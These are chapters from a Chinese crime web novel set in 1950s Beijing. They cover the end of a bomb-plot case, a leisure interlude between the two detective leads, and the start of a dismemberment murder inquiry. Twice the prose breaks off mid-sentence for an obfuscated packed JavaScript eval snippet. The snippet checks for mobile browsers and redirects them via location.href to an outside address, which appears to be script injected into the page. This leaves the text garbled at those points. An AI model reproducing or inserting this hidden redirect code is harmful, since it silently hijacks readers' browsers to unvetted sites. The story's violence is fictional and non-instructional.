一行人往外走，“李想吴非，你们去机场截人，齐云松咱们去科技院。” “科技院保卫严格，他不会将炸弹安装在科技院的。”齐云松说了一句。 “科技院过不去，家属院还不能进吗？”顾昭蕙说到这里，“丰庭致回家时间不确定，他要保证丰庭致一定碰到炸弹，那么安放炸弹的地方就一定在丰庭致回国后能触发的地方，家里是最有可能的。触发性炸弹，就像是□□，只要确定了地点，那么丰庭致触发的可能就很大。他安放炸弹的时候一定就是在最近几天，他等着我们过去，说明东西已经安装好了。” 齐云松也将自己带入郑可庆的心理，顾昭蕙说的这个是最有可能发生。 一行人快速来到科技院，但是得到的消息却很意外，科技院给丰庭致安排了住处，但是丰庭致自己拒绝了，说是家里在京城有宅 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这是个三进的院子，是当年丰庭致母亲去世后他爹给他的院子，也是怕他受委屈，外边有个住的地方，当年丰庭致就爱学习，老爷子也是觉着这个儿子不会参与家族企业，给他的补偿。 当年丰家人出事后，丰庭致将家产都处理了，就留下这处宅子。 二进院子正房什么都没有发现。 顾昭蕙走到西耳房，发现这里竟然是一间书房，书房的墙上有很多古籍，最令她意外的是，书房的博古架上还有一张全家福。那一张全家福上有十几人。 顾昭蕙小心的走过去，她发现这个屋子竟然有一些灰尘，看着全家福，顾昭蕙看着那上面的几个人，丰老爷手上抱着一个三岁的孩子，他周围坐了七个女人，其中右边那个女人最年轻，在照相的时候手还握着孩子的手，除此之外其它孩子都站在后面或是旁边，应该是丰庭致小时候的照片，他母亲还没有去世的时候，顾昭蕙看着照片，然后发现，照片下的博古架竟然没有灰。 “齐云松。”顾昭蕙叫了一声，声音不大，但是她知道齐云松一定就在离她不远的地方。 果然齐云松听到动静就进了西耳房“发现什么了？” “这边照片有人动过，这个博古架上没有灰。”顾昭蕙简单说了一下。她没敢动。 齐云松点点头“你先出去，我看看。” 小心的退出去，对于自己不熟悉的地方，她还是不要碰为好。 齐云松小心的检查那个照片，他也看出来了那是全家福，对于丰庭致肯定是很重要的，他也看出来了，这个屋子是丰庭致不让老仆收拾的。估计这个屋子里的东西都是对他很重要的。 他小心的检查了一下，然后就发现，在照片旁边有一个盒子，盒子的下边压着一条线，那条线从博古架后边绕过去，直接通到下边。 想了想齐云松也没有动，小心走出去，“是触发炸弹，只有一条线连接，那些炸弹可能都放在里边了，找爆破手吧。弄不好炸了的话，这附近的几处房子都得炸塌了。” 顾昭蕙点点头，“好，这也算是有了结果了。”说完她摇了摇头，“就是不知道这个郑可庆做这些为了什么？” 87. 第 87 章 第八十七章 “为什么杀他，哼，丰家人都去了他早就跟他们一起团圆。如果不是他当年出国的应该是我的儿子。如果不是他抢了那个名额。我儿子也不会死。”郑可庆满脸愤恨的说，听说自己的炸弹被找了出来他，整个人的面容也狰狞起来。 “就为了这个？”齐云松有些不可思议的说道。 郑可庆狠狠地锤了一下桌子，“我和三姨太生了一个儿子，就是丰老头名义上的七儿子丰庭宇，他就比丰庭致大了一岁，他学习很好，当时和丰庭致都拿到了丑国大学的升学通知。可是丰老头说，希望有一个孩子将来去沪市开拓生意，他前面几个儿子都是饭桶，所以需要留下一个。尽管庭宇非常想上学，但是后来还是被丰庭致说服了，可就因为这个，他也在那个晚上被杀了。我能不恨吗？丰庭致抢走了我儿子的人生。” “难道不是你们想让丰庭宇抢夺丰家家产才留下来的吗？”顾昭蕙推门进入，将一个笔录放在桌子上。这是刚才他们去问过丰庭致得来的。 齐云松看了看笔录，脸上戴上了嘲讽的面容，“所以这些都是你自己想的，明明是你不想让丰庭宇离开丰家，你想让他获得丰家的财产，也是你杀了小池澈平，为的不是报仇，而是小池澈平弄来的丰家财产。” 郑可庆听了更加疯狂的敲着桌子，“那是我的，本来就是我的，那玉玺是我父亲的。”说着他喘着粗气，“那个骗子，他诓骗了我的父亲，他好不容易将东西从皇宫里拿出来，结果没回到家，东西就被那个老家伙把东西给骗走了，才给了一百个大洋。一百个大洋，就买到了那个玉玺。” “所以说，那个卖玉玺给丰先生的是你父亲。” 郑可庆似乎冷静了一下，“那个人，当年我刚出生，他就进了宫，呵，那时候清宫里皇帝都坐不下了，他还往里跑，也亏着有点心，知道掏出来的时候弄点东西出来。可惜就是太蠢了。” 呼-顾昭蕙站在大楼门口长呼了一口气“这个案子还真是复杂。” 齐云松忍不住点了一颗烟，往下风口一站，“是啊，谁能想到郑可庆和丰家的关系这么复杂，或许从一开始他父亲用一百大洋将玉玺卖给丰家的时候，事情就已经注定了。” 郑可庆知道自己爱人嫁给了丰裕祥，他可能就想着报仇了，不过一开始他就想着谋夺丰家的家产，所以他给丰裕祥戴绿帽子，他们还生了一个孩子，至于说他有多喜欢三姨太，那就只有他知道了。 当年丰裕祥确实想要留下一个儿子，因为他已经想到要将家业往南方转移了。但也不是多着急的事情，反倒是郑可庆一直阻止他离开，因为他的计划就是让丰庭宇接手丰家的家业。 “他从小池澈平那里弄到的东西都藏在他屋子的地下室里，按照咱们查到的清单，他好像没有卖掉什么一直保存着，那个玉玺也找到了。”齐云松呼出一口烟说道。 “不明白这一切都是为了什么。”顾昭蕙真的有点无法认同他的执念。 案子总算是结束了，从一开始的爆炸案，到郑可庆杀人案的高破，用了小一个月的时间，实在是这个案子里边的东西太难差了，横跨小二十年。从一开始的灭门案，到最后的爆炸案，如果不是他们查的快，或许丰庭致真的就要被炸死了，按照丰庭致的说法，那个书房是当年家里人去世后，他从老宅里拿到的东西。 当年案子发生后，他回到家已经是两个月后的事情了，当年案子不了了之，他到家的时候家里的很多东西都不见了，不知道是被谁弄走了，他也只找到一些不值钱的东西，尽管，他也曾经被其他房的人排挤，但是当这些人死了，他心里还是有些伤感的，所以那些仅剩的能让他回忆起家的人的东西就是非常重要的。也正因为如此，他专门弄了一间屋子，每次回家的时候他都会亲自去擦擦灰收拾一下，算是缅怀家人吧。 那个屋子是连他妻子都不会去的地方，他一个人的缅怀地。所以可以想象如果不是被他们拦截住，那么他将会被炸死在那个屋子。 郑可庆显然已经盯着他很久了。他还记得四六年回国一次，那次他还跟郑可庆见过面，因为郑可庆是当时办案的人，所以他们认识，所以对他的上门拜访，丰庭致也是欢迎的，那次他们还谈论过，甚至还让他看了那间屋子，说一些失去家人的痛苦。 没想到就是自己的那次的邀请，让他差点命丧黄泉。 案件结束后，顾昭蕙和齐云松还有同组的几名外勤，都放了假，他们办案的时候几乎没日没夜的，就没有一个正常长下班的，这次还连破两个大案，范队直接大手一挥，放三天假。 这段日子因为顾昭蕙他们查爆炸案，治安大队那边也加强了京城黑市早市鸽子市的调查，严查其中违禁产品，大街上治安管理也加强了。 这也使得最近案件发生率直线下降，也算是好事一桩。 回家后，顾昭蕙睡了个昏天黑地的，一直到第二天中午才起来，整个人懒洋洋的。现在已经是四月底了，天气暖和很多。她起来后稍微洗漱一下就坐在院子里的石桌那，看着蔚蓝的天空发呆。 难得的放空自己，感受着清新的空气，微风拂过十分舒服。 “哎呦，你这是干啥呢？”齐云松那略带调侃的语调响起。 顾昭蕙转过头看着他，他打开大门，推着自行车入内，车把上挂着两个菜篮子。回过神“你这大包小包的做什么？” 齐云松将车停好，然后将两个菜篮子放下来，“去市场买了点排骨，晚上炖豆角吃。你没吃饭呢吧。”齐云松问。 顾昭蕙点点头，“刚起。” “嘿，正好我弄了点好吃的。”他就想着估计要多睡一阵的，他是那种在那里都能睡着的，顾昭蕙确实用脑思考的，如果案子不破，她就不会停止思考，睡觉也是不踏实。所以一早睡好之后就去市场了，掐着时间过来的。 从其中一个菜篮子里拿出俩大一小俩饭盒，天暖和也不用去厨房，将饭盒子放在石桌上，去厨房拿了一个碗，然后将小饭盒打开里边是和好的“这是我去爆肚冯他家排队买的。” 俩大饭盒里，一个是满满的爆肚，一个是门钉肉饼。 顾昭蕙一下子食欲就上来了。这些日子尽管队里开小灶，但更多的是没啥油水的炖菜，说实话她也有点亏了，看见好吃的都要流口水了。 齐云松将麻酱倒出来一半，递给顾昭蕙，俩人就开始吃上了。“这麻酱好吃。”顾昭蕙说道。 “你要爱吃，我下次去他家买几瓶子，放家里平常拌菜吃。” “嗯，这个行，拌面也行啊。”越吃越香。 俩人一会将两大饭盒的东西都吃光了，那种特大号的铝饭盒。 顾昭蕙感觉有点吃撑了，坐在石凳上有点不舒服“哎呦，这时候要是有个躺椅，就好了。” 齐云松笑了笑，“听说前门那边一家当铺改成委托商店了，那边有旧家具，估计有躺椅，你要是想要那天过去看看。” 顾昭蕙点点头“正好这两天没事，也出去溜达溜达。” 齐云松笑了笑说“颐和园的玉兰花都谢了，不过这季节还有别的花，要不明天去颐和园逛逛？正好我那里弄到一台照相机。” “行啊。”她是真的想散散心。脑子里总是案子可不好。 齐云松为了出游也做了些准备，他托人买了一台照相机，还弄了胶卷，现在胶卷也不好买，价格也不便宜，好在他一个人吃饱全家不饿，平常除了吃饭也没啥大花钱的地方，手上还宽裕。 一早还去了军区大院服务社买了不加水的蛋糕，那种梅花形状的蛋糕，用鸡蛋加牛奶白面做的，味道特别好，不过只有大院服务社才会不加水。味道最好。也是他到处走，在那里都混了个脸熟，才能进去买到。不然等着吧。 收拾好了等大家上班了，俩人才出发，做了公交车，然后还走了一段路才到颐和园，现在上班时间，来逛园子的人不多，顾湘以前是来过颐和园的，但是跟现在完全不同，现在的颐和园更像是公园，很多地方还保持着原汁原味。 顾昭蕙前些日子玉兰花开的时候就来过，那时候配着爷爷奶奶来的倒是没有走更远，只是看了玉兰花，看了大戏楼，别的地方就没去了。 齐云松很会玩俩人逛了一圈，走的路都是景色优美的，这季节花开的很多。到中午的时候，俩人租了一条小船，坐在船上看着昆明湖周围的景色，俩人停在湖中吃了午餐，蛋糕和午餐肉。配着汽水。 吃了饭顾昭蕙靠在小船的椅子上，感受着微风，“真好。”热不住感叹了一声，每天工作都是面对各种各样的案子，其中也有各种各样的负面情绪，对他们多少有些影响。偶尔感受一下这种悠闲时刻，是非常舒适的。也可以让心情好起来。 在船上飘了一会俩人就回去了，虽然出来游玩但是也不必玩上一天，左右坐着公交车就可以过来。 坐着公交车直接到前门，齐云松带着顾昭蕙来到这边的委托商店，这店虽然是新开的，但是他原来是当铺，里面的东西也有好多事原来当铺里的东西，有不少好东西。 这店里的东西五花八门什么都有，从家里普通的碗碟到缝纫机话匣子，全都有，各种各样的。 齐云松到这边就去后边找了一个年轻人，然后对着顾昭蕙招了招手，“这是小赵，我之前的相机就是从这买的。”委托商店里的东西大多是生活拮据的人拿来卖了换钱的，但是东西有好有坏，商店里也会将一些好东西留着，内部人员就买了。 小赵是齐云松一个案子的当事人，因为齐云松的关系让他洗脱嫌疑，所以对他很是感谢，上次收到一台徕卡相机，九层新，就给齐云松去了信。 小赵直接带着两人去了后边，前面店面后面带着个院子，院子东厢房就是一个仓库，“这边家具还挺多的，不过样式老一些。你们先看看，如果不合适我还认识一个木匠，他打新式家具打的挺好的。” 进了屋子顾昭蕙才发现这里家具简直就是一层摞着一层，就那么放着，不过东西虽然多，但是这里边带着隐隐的香气，应该是木头自带的香气。 小赵知道他们过来找躺椅，就带他们去椅子那边，“这边有一些是以前当铺的存货，有一些好货，不过价格比新式家具贵，很多人还是喜欢新东西。”他说着拿着一个摇椅，“这个放在院子里也不错。这边也有那种躺椅。”他又指了指另外一种。 这个摇椅是那种粗藤做骨架竹子做椅背，那种那个位置都很圆润的椅子，往上一坐，自动的就摇晃起来，竹编的座位一点也不硬，坐着十分舒适。整体是黑棕色的，看起来做的工艺非常好。 顾昭蕙看着就喜欢，另外一个是躺椅实木做的，也不知道是什么材料，黑漆漆的，这个比较长，人是可以躺在上面的。 “这个躺在上面就会一直摇动。这是大红酸枝料的，你们看这边有暗纹。整体上流畅，简单雅致。很舒服就是占地有点大。”小赵给介绍着。 说实话顾昭蕙很喜欢，不过那个躺椅就有点大了，这种木料躺椅放在院子里倒是有点可惜了。 顾昭蕙想了想说道，“这个摇椅吧。躺椅太大了。” “那这个躺椅我就要了。”齐云松说道。 “哎。”顾昭蕙回头看他一眼。 “我家里也用的到。”齐云松说着，又看向小赵，“有没有小几配套的？另外这种摇椅有没有那种抗晒的？” “有的，小几没有大红酸枝的，但是我们这有个梅花小几，是小叶紫檀的，我给你搬来你看一下，东西是好东西就是有点贵。”小赵说着就去另外一边搬东西。 顾昭蕙看着齐云松，“摇椅一个够了，你还要吗？” “这个躺椅虽然是藤椅，但是这是老手艺，你看着做工，放在院子里成天风吹日晒的，就糟蹋东西了。”齐云松没说的是，要是把这椅子放到院子里估计她也坐不着了。 顾昭蕙想了想她的屋子也有地方放，就没说什么。 小赵跟另外一个人一起抬了一个小几，这小几还真的就是配着躺椅来的，比正常桌子矮一些，梅花形状，也不大，做工精细，桌面上镶嵌一块山水石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434604|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。顾昭蕙是不会看是不是小叶紫檀，但是真的很沉，带有一股暗香，虽然很淡，却很清新，色泽自然。 之后小赵又找了一把摇椅，跟顾昭蕙之前相中的差不多，但是这把明显就没有那把做工细腻。但是放在院子里正好。 找了车将家具都弄回去，齐云松这边明天再送，今天先将两个摇椅弄回家。 到家的时候蒋爸和蒋妈还没到家，顾昭蕙将两个摇椅安排好，为了这个摇椅，还将桌子挪了一下，原来桌子是贴着窗户放，现在将桌子竖过来椅子放到另一边，摇椅放在这边，将原本的书架，挪了一下放到靠西墙的位置。 顾昭蕙坐了坐，很舒服，而且坐在上面似乎更利于思考。 晚上蒋爸到家，就看到院子里的摇椅，然后就坐了上去，齐云松笑着对顾昭蕙使了个眼色，顾昭蕙也乐了，怪不得他弄了两把。 吃饭的时候田静兰时不时的看着两人，齐云松发现了，给田静兰加了一块红烧肉，“妈，你吃肉。”脸上带着笑容。 田静兰瞥了他一眼，“松子，你今年都二十六了吧。” “啊，是啊。”齐云松扒拉一口饭说。 “你这年纪是不是该找个对象了。”田静兰一边说着一边小心地看着顾昭蕙。 “哎，不着急。”齐云松没忍住也瞥了顾昭蕙一眼。 顾昭蕙听到了倒也没有太大反应，只是顺着话头看向齐云松，然后继续吃饭。 田静兰看她的反应，叹了口气。 吃了饭后顾昭蕙回了屋，齐云松被田静兰压着刷碗，看人回了屋，就凑到齐云松身边说道“你跟妈说说，你啥想法？” 齐云松手上动作一顿，有点无奈的叹了口气“我有啥想法也没用啊。她根本没往那方面想。” 田静兰叹了口气，“妈也看出来了，你有心，妈也是同意的，你俩要是能在一起我就没了一番心事。她那么年轻。也不能守着我们老两口过日子。不过我看她今天的样子，好像没什么想法。” 齐云松没说话，他又怎么不知道呢，他怎么看不出来，顾昭蕙虽然跟他随意，平常一起吃饭游玩，说起来都有点男女关系的那种了，但是他也能看出来，顾昭蕙将他当成朋友亲人，所以相处才会那么自然。 说起来她跟这个年代女人真的不同，她很洒脱，很大方，不会因为对方是男性就扭扭捏捏，工作的时候面对男同志也大大方方的。不会像现在一些女性那样为了显示自己与男性一样强大，强调男女平等，就特意表现出爽朗男性化的一面。顾昭蕙不那样，她外表很柔弱，内心强大，与她相处不会把她当成男性，但是你也会不自觉的就佩服她，信服她。 齐云松相信自己已经是顾昭蕙的朋友了，那种很好的朋友，但是这其中不包含男女感情。她没有那根筋。 顾昭蕙知道齐云松的心思吗？她是知道的，这么长时间了，她多少能感觉出来，不过齐云松很有分寸，他在她的舒适区跟她保持着一种介乎于朋友和亲人的关系，尽管有几次也看到齐云松看她那炙热的眼神，但是他没有过界，她也就当成朋友相处。 她想自己对齐云松是有好感的，也许是两个灵魂结合，也许是大脑的变异让她对感情淡漠，但是她还是有感情的。并不像一开始以为的那样，毫无感情，这一点已经从对蒋爸蒋妈的感情，还有顾家一家子的感情证明的。 只是这种好感，没有达到那种爱情的地步。至少面对他没有那种怦然心动的感觉。跟他在一起更多的是舒服，两个人工作中合拍默契互相信任，生活中相处融洽，能跟他在一个屋子里待着不觉着烦躁。或许这就是一些喜欢吧。 顾昭蕙坐在摇椅上忍不住晃动，脑海中齐云松的影像一幕幕的出现。发现这个人一点点的侵入自己的生活，自己却从来没有排斥过。 叹口气，算了搞不明白就先别想了。或许有一天自己会想明白。 如果说这世界上谁最了解顾昭蕙，那么除了齐云松不会有第二个人，可以说这小一年来，他与顾昭蕙相处的时间最多，他跟她学习办案经验，跟她一起探索案件真相，从她的思维慢慢的了解这个人。 齐云松觉着顾昭蕙可能没有那么爱永兴，这个结论并不难下，或许他认识的顾昭蕙对男女感情是冷漠的，或许这个结论让他有些高兴，但同时也知道顾昭蕙对他的感情也没有越界，这个结论又让人有点沮丧。 他已经不太奢望她对他有多少回应，但是他相信，只要他保持着朋友亲人这样的关系，总有一天她会动心，或者说，只要她动心，那么他就是第一位的。不会有别人。这样就够了。 而且他享受跟她在一起的每一天，哪怕是工作。因为这个女人就是个谜团，跟她在一起总会有惊喜的地方。 顾昭蕙不是个容易被感情左右的，所以尽管发现了某人的小心思，也没有表现出多少扭捏和不同，两人关系依然很好。接下去一个月都没有什么案子，顾昭蕙总算是享受了正常上下班的日子。齐云松时不时的去蒋家蹭饭，或者说几乎每天都去，周末一天休息，顾昭蕙有时候回家看望家人，有时候跟齐云松去游玩或是到南鼓锣巷渡过一天。 齐云松发现对方对他的邀约没有排斥，开始还找些理由，去研究案件，或是有什么好书。后来干脆就直接邀约。当然俩人确实做一些正经事，齐云松已经写了差不多一本关于罪犯心理学了。虽然里边大多数是顾昭蕙跟他说过的内容，但是他将这些总结出来，并且配备一些案件，从罪犯这个角度研究犯罪心理问题。 顾昭蕙觉着这一点很不错，她最近也将现场足迹进行了总结叙述，其中包含了许多公式，计算方式。 工作之余，两个人也研究一些吃食，这一点俩人有些共同点，都喜欢美食，可惜这年代没有那么多的美食，顾昭蕙脑海里有一些食谱，不过食材就需要齐云松去弄了。 日子就这样安稳的过下去，不过也不会永远这么平静，案子总是在不经意间就到来。 就在六一这天，刚上班的顾昭蕙就接到了报警，宣武区发生了一起恶性案件。 88. 第 88 章 第八十八章 六一那天顾昭蕙他们也是有任务的，今天他们也是要上街去维持秩序，所以顾昭蕙他们来的挺早的，不过刚刚接了任务还没等动身，就听见电话响，范伟强接了皱了皱眉头，往会议室那里看了看，挂了电话然后对着顾昭蕙说道“宣武区安宁公园湖里发现一具尸体。你们组接手吧。” 顾昭蕙站起来点点头，带着人就走了。 如今他们组人很多了，开了两辆车，今天市局汽车都在家，挤一挤还是能坐下的。 一行人很快就来到安宁公园，这时候公园里已经有宣武区的公安在勘测现场了。 一般情况，宣武区，朝阳区，东城区，西城区，这样的大区都有自己的刑侦力量，也都不弱，很多时候这些分局之间也是有竞争，他们往往是发现案件没有进展才会找市局支援，另外就是案件太过恶劣，他们掌握不住了。也会找市局。 这个案子就是这种情况。案子是早上出来跑步的人发现的，箱子飘在湖上，等捞上来，因为是藤编箱子没打开，就有一些头发从缝隙中扎了出来，报警了。 从报警到现在才两个小时，这边就将案子上交，看起来案子不一般啊。 “宣武区的刑侦大队不是挺厉害的吗，我记得他们刑侦大队的队长是徐春建啊。”齐云松一边戴手套一边说。 周柏比齐云松落后一点说道“听说徐春建今年要升一级，估计不敢冒险怕破不了案吧。”他已经三十多岁，从旧社会警察一直到现在的公安，有很多认识人，消息相对来说灵通一些。 顾昭蕙没说话，眼睛已经开始观察公园情况，这个公园是由一个园林改建的。早先头好像是那个王爷的花园子，湖是引得活水很阔朗。 来到现场，一个四十岁左右的男人迎了上来，直接对着顾昭蕙说着欢迎。虽然只工作一年时间，整个市里公安口的还有那个人不知道市局的顾昭蕙。只看她破的案子，就没有人不服的。 相互介绍一下，这男人正是大队长徐春建，“什么情况？”顾昭蕙直奔主题。 “晨跑的人发现了箱子，捞上来后发现箱子缝隙里飘出的头发，就报了警，我们检查了一下应该是一具女尸，没有开箱，但是发现应该被分尸了，这边应该不全。”徐春建说着引着他们往岸边走。 顾昭蕙已经看到那个装尸体的藤箱了，也明白为什么徐春建说没开箱就知道人被分尸了，因为那个箱子太小了，是那种老实的带锁的藤箱，这种箱子装小孩子都费劲的。 她走过去，仔细看了看箱子外面，箱子底部有血迹残留，箱子被撬开一些，裂了个缝隙，能看到一个女子头颅放在里面，脸上已经看不出容貌了，至少泡了两三天时间。 “打捞有收获吗？”顾昭蕙看了看湖里，那边正有几条船飘在上面，然后有人不断下潜上浮，现在没有潜水装备，打捞尸体一类的都是靠人憋气下潜打捞。很费力。 “没有，暂时没有发现。”徐春建虽然级别上比顾昭蕙高，但是他态度上绝对是放低姿态的，正在关键时刻，碰上这样的案子。要是不能破获，肯定会影响很大的。 顾昭蕙再次看了看公园，对着徐春建说道“徐队我先回去看看尸体，得先确定死者身份。” 徐春建点点头“好，我们分局有一间解剖室，听说市局卢法医在这方面很有经验，我想正好请卢法医做尸检，正好我们分局法医也学习一下。” 顾昭蕙笑了笑，“徐队客气，咱们共同学习。”知道案子情况卢莫已经去分局了。如今法医队伍还不够强大，顾昭蕙也想到了让卢莫过来做尸检。不过徐队能这么客气，他们工作起来也不会有太多麻烦。 周柏带着三组的人留下跟着排查，寻找线索，顾昭蕙带着齐云松去了分局。 到这边法医室的时候卢莫正跟这边法医在谈论什么，看起来两人谈的很好。 说起来这边解刨室弄得还真不错，竟然还有两台冷冻设施，跟市局比也不差什么，实际上现在极少有专门解剖室大多数都在殡仪馆弄个房间做。显然宣武区这边还是很先进的。 将藤箱放在解刨床上，没有着急打开，而是先观察箱子外面的情况，这是个八分新的箱子，箱子底部有一点新鲜的磨损，带着绿色的草汁痕迹。应该是抛尸时拖拽的痕迹。 “这个痕迹，说明凶手连这个箱子都拎不动。力气不大。”顾昭蕙说道。 齐云松点点头，刚才已经称过重量，只有六十七斤，想着里面因为浸泡过水，实际重量应该这个还要小些。 顾昭蕙看着把手的位置，再看粘着草汁痕迹的地方，自己模拟一下，心里有个想法。 外面全部检查完毕，顾昭蕙让到一边，让卢莫将箱子打开，开始检查里面。 箱子的锁是那种普通的锁，用钳子夹开，锁也放在证物盘中，到时候也要寻找锁头出处。 锁一去箱子就裂开了，露出里面尸体，等看到尸体的时候在场的人都静默了一会。之见那箱子里放着一个女子的半身，确切点说是小半身，从腰部被切开，双臂砍下放在箱子一侧，头颅也是分开的。凶手抛尸之前进行了分割，然后将人挤吧挤吧塞进去。受害者人比较瘦弱，不然这箱子也装不了什么。 卢莫小心地将尸体从箱子里弄出来，内脏带着血水差点流了出来。之前徐队长说让这边法医跟着学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445541|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学也不是白说的，之前进屋子里就有三个年轻人，都是跟着法医做学徒的。这会看到这情况一个个的直接捂着嘴跑了出去。没一会走廊里就传来呕吐声。 屋子里几个人没有太大反应，倒是徐春建看了看顾昭蕙，发现对方正仔细看着腰腹部的痕迹，那样子人真的很，似乎没有一点影响。 顾昭蕙看了几下，扭过头对齐云松小声说“腰腹部切痕很多，骨头处有多次砍劈痕迹。凶手力气不大。” 齐云松听说后也仔细的查看，他不懂这些，但是根据结论来看，能将一些痕迹解释，以后看到这样的情况或许就能说出个一二。 “或许是个女人。”他发现顾昭蕙查看箱子把手和箱底痕迹了，再结合这样的痕迹有了这样的猜测。 顾昭蕙点点头但是还说到“也有可能是个体弱的男人。还没有证据证明这一点。” 这会卢莫已经将尸体放在台子上摆正了。 那头已经泡肿了，根本看不清样貌，但是从死者身体状态，还有头发，可以看出来是个年轻人。 “死者应该是被勒死的。”卢莫说道。 顾昭蕙看过去，卢莫指了指，死者脖颈处的一处勒痕，虽然因为刀痕，让后面的淤痕消除许多，但是还能看出一些痕迹，最明显的还是后劲的勒痕，带有交叉痕迹，是人为勒痕，可以确定死者是被勒死的。 这样的案子，最难的地方就是寻找尸源，确定死者的身份，现在死者身上没有任何的代表身份的东西，就连衣服都没有，想要确认有点难。 “徐队还要查一下区内的失踪人口，死者年龄没有确定，但是看尸体状态年级在二十五岁以下，凶手抛尸能力不足，应该不是远处抛尸。所以先过一下附近失踪人口。”顾昭蕙对徐春建说道。 徐春建点点头，“好的，我这就通知下边的街道派出所，一一排查。” 顾昭蕙点点头，“还有另外的尸块，凶手用这种箱子装尸体，说明他手上没有什么大的装尸体的容器，所以剩下的尸块或许会分散抛尸。垃圾堆垃圾桶这一类的地方，看看有没有可疑的包裹。” 徐春建点点头，“这个应该没有问题。我找环卫注意一下。”其实这时候垃圾不像是后世那么多，本来人们生活就不是那么富裕，这年代又没有什么垃圾袋，很多家庭是不舍得扔东西的，就连市场的烂菜叶子，有时候都会被人争抢，所以垃圾场扔掉的就都是不能要的东西了。 而凶手抛尸的时候不管是用什么包裹，只要是包裹一定会被注意到。顾昭蕙反而担心对方将尸块弄到远处山里抛弃，那就有点难找了。 这年代野兽可不是动物园里才有的。 89. 第 89 章 第八十九章 破获这种案子不是某一个人灵光一闪就能破获的，需要的是有人将破案方向一条条的捋清，实际上将一条条命令下放下去后，人员就一组组的放了出去。 这个年代虽然没有高科技，没有破案技术，但是他们有最好的民众基础。自从四九年以后，四九城对于民众掌控就达到了一个新的高度，尤其经历过大清理，将大量的间谍抓捕之后，普通民众也十分警惕，更何况京城因为居住方式，使得管理相对其他地方更容易一些。 所以当排查消息下放后，各派出所，与街道居委会，各个胡同大爷都活动起来，将自己辖区的一家一户都拜访了一下，很快就发现了三名失踪人口。 “什么三名？一起的？”顾昭蕙听到下边报来的消息，人也有点懵。 “是的，这三个女生是一个大院的，最大的二十岁，叫田桂英，最小的十八岁，李彩霞，中间那个也十八岁，不过比田桂英小五个月叫张悦，他们三个在四天前一起出门，说是结伴爬山，不过至今未归。”徐春建直接自己将调查过来的信息说了出来。 顾昭蕙问“找没找人？四天时间不短了。” 徐春建点点头“找了，不过刚找一天，之前三个人出去爬山，说是要在田桂英爷爷家住，本来说是住两天，不过昨天还没回来，田桂英的家人就让田桂英的哥哥去爷爷家找，没想到这三个女生根本就没有去他爷爷家住。他们这才知道三个人失踪了。所以从昨天开始到现在三家人一直在他们爬的那个山寻找呢，不过只发现了一些露营痕迹，就没有找到人。” 顾昭蕙眉头皱起来，“人带过来了吗？让人认尸吧。”只能先确认人是不是那三个女孩中的一个，才能查找更多的线索。 三个人，如果真是其中一个女孩，那么案子就大了，更何况如果这个女孩是其中之一，那么另外两个呢？ 顾昭蕙这样想着，心理却是不报有侥幸心理的。 果然等她到了解剖室附近的时候，就听见一个女人的尖叫声，忽然那声音戛然而止，另外一个男人的悲嚎声。 走了两步就看到解剖室大门口有七八人，男人女人都有，其中一个女人已经晕倒在地，一个女公安正蹲在地上掐着她的人中，她走过去，看到那个女人悠悠转醒，先是有些迷茫接着就是更加绝望的痛苦“闺女啊——疼死我了——”哭着整个人再次晕倒。 “赶紧送医务室。”顾昭蕙对着几人说道，谁又能接受呢，孩子死了，还是以这种方式死亡，连个全尸又有水能受得住。 孩子父亲此时也没有精力顾忌孩子母亲，他此时也哭的无法自已。如果不是旁边的人扶着他也是要躺在地上了。 另外几位家长也是着急此时正跟在徐春建了解情况，他们两家的女孩是一起失踪的，所以他们也十分焦急。 卢莫走到顾昭蕙身边“刚才已经确定了死者是田桂英。”说完将验尸报告递给顾昭蕙。 顾昭蕙拿着验尸报告，离开门口位置，安抚家属的任务还是交给徐春建吧，这对谁来说都是十分困难的事情。 与卢莫一起去旁边大杨树地下，顾昭蕙仔细看着验尸报告“馒头咸菜，蛋糕，苞米面饼，辣椒炒鸡蛋，炒土豆丝。吃的挺杂的。” 卢莫点点头，“看胃里食物消化情况，死者死亡时间是饭后一个小时以内。” 顾昭蕙点点头，报告中肺部水肿，为窒息死亡的特征，是勒死后分尸。 顾昭蕙仔细看了看胃容物报告。几种食物，应该是几个女孩子去爬山带的食物，但是其中两个炒菜，让她有点疑惑，现在天气冷，要是出门最多带点干粮，像馒头鸡蛋咸菜饼子，这些是可以的，但是带炒菜就有点不太正常了，一个是现在天气还没有那么热，带菜会凉，也麻烦，还要带饭盒。这年代人可没那么讲究。 还有就是她了解的他们去爬的山就是香山，离安宁公园又很远距离，饭后一个小时内死亡，这个与抛尸情况又有违和。太远了。 正看着突然齐云松和周柏一脸严肃的走了过来，顾昭蕙看到他们身后还跟着两个公安手上拿着东西。 顾昭蕙下意识的看向解剖室门口，几个家属已经被徐春建带走了，估计去了会议室，松了口气。看向齐云松“找到尸体了。”并不是疑问句。 齐云松点点头，“就在离安宁公园一公里的一处垃圾场，发现的。” 顾昭蕙看他表情特别严肃，“怎么了？”说完脑海闪过一个信息“尸体不是同一个人的？” 齐云松点头，“发现双腿双手。”已经发现四个手臂，肯定不是一个人的。 顾昭蕙呼出一口气，点点头说“想到了，之前徐队他们的人已经查到了，四天前三个女孩失踪。你们回来前已经确定，死者是一个叫田桂英的二十岁女孩。” 两个人听了忍不住到抽口气，“所以这三个女孩都死了？” 